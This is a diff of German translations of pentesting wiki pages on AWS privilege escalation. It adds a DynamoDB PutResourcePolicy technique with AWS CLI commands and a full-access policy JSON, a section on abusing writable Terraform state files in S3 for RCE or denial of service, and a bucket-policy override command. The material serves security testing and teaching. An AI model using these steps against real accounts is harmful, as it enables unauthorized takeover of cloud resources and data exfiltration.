Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -4,15 +4,64 @@
 
 ## dynamodb
 
-Für weitere Informationen über dynamodb siehe:
+Für weitere Informationen zu dynamodb siehe:
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### Post Exploitation
+### `dynamodb:PutResourcePolicy`, und optional `dynamodb:GetResourcePolicy`
 
-Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Du kannst **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt:
+Seit März 2024 bietet AWS *ressourcenbasierte Richtlinien* für DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Wenn Sie also die `dynamodb:PutResourcePolicy` für eine Tabelle haben, können Sie sich oder einem anderen Principal einfach vollen Zugriff auf die Tabelle gewähren.
+
+Das Gewähren der `dynamodb:PutResourcePolicy` an einen zufälligen Principal geschieht oft versehentlich, wenn die Administratoren denken, dass das Gewähren von `dynamodb:Put*` nur dem Principal erlauben würde, Elemente in die Datenbank einzufügen - oder wenn sie dieses Berechtigungsset vor März 2024 gewährt haben...
+
+Idealerweise haben Sie auch `dynamodb:GetResourcePolicy`, sodass Sie keine anderen potenziell wichtigen Berechtigungen überschreiben, sondern nur die zusätzlichen Berechtigungen injizieren, die Sie benötigen:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Wenn Sie die aktuelle Richtlinie nicht abrufen können, verwenden Sie einfach diese, die Ihrem Principal vollen Zugriff auf die Tabelle gewährt:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Wenn Sie es anpassen müssen, hier ist eine Liste aller möglichen DynamoDB-Aktionen: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Und hier ist eine Liste aller Aktionen, die über eine ressourcenbasierte Richtlinie erlaubt werden können *UND welche davon kontenübergreifend verwendet werden können (denken Sie an Datenexfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Jetzt, da das Richtliniendokument `policy.json` bereit ist, fügen Sie die Ressourcenrichtlinie hinzu:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Jetzt sollten Sie die benötigten Berechtigungen haben.
+
+### Post-Exploitation
+
+Soweit ich weiß, gibt es **keinen anderen direkten Weg, um Berechtigungen in AWS nur durch einige AWS `dynamodb`-Berechtigungen zu eskalieren**. Sie können **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post-Exploitation-Seite** berücksichtigt:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -34,7 +34,7 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen CloudFor
 ]
 }
 ```
-Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda-Funktion** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**.
+Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**.
 
 ![](<../../../images/image (174).png>)
 
@@ -50,9 +50,22 @@ Hier sind einige Beispiele:
 
 - Wenn eine EC2-Instanz die **Benutzerdaten in einem S3-Bucket speichert**, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**.
 
+### `s3:PutObject`, `s3:GetObject` (optional) über Terraform-Zustandsdatei
+
+Es ist sehr häufig, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) Zustandsdateien im Blob-Speicher von Cloud-Anbietern, z.B. AWS S3, gespeichert werden. Die Dateiendung für eine Zustandsdatei ist `.tfstate`, und die Bucket-Namen geben oft auch preis, dass sie Terraform-Zustandsdateien enthalten. In der Regel hat jedes AWS-Konto einen solchen Bucket, um die Zustandsdateien zu speichern, die den Zustand des Kontos anzeigen.\
+Außerdem haben in realen Konten fast immer alle Entwickler `s3:*` und manchmal sogar Geschäftsanwender `s3:Put*`.
+
+Wenn Sie also die oben genannten Berechtigungen über diese Dateien haben, gibt es einen Angriffsvektor, der es Ihnen ermöglicht, RCE in der Pipeline mit den Berechtigungen von `terraform` zu erlangen - meistens `AdministratorAccess`, was Sie zum Administrator des Cloud-Kontos macht. Außerdem können Sie diesen Vektor verwenden, um einen Denial-of-Service-Angriff durchzuführen, indem Sie `terraform` legitime Ressourcen löschen lassen.
+
+Befolgen Sie die Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code:
+
+{{#ref}}
+terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
 ### `s3:PutBucketPolicy`
 
-Ein Angreifer, der **aus demselben Konto** stammen muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über den Bucket(s) gewähren, was ihm erlaubt, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
+Ein Angreifer, der **aus demselben Konto** stammen muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über die Bucket(s) gewähren, die es ihm ermöglichen, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>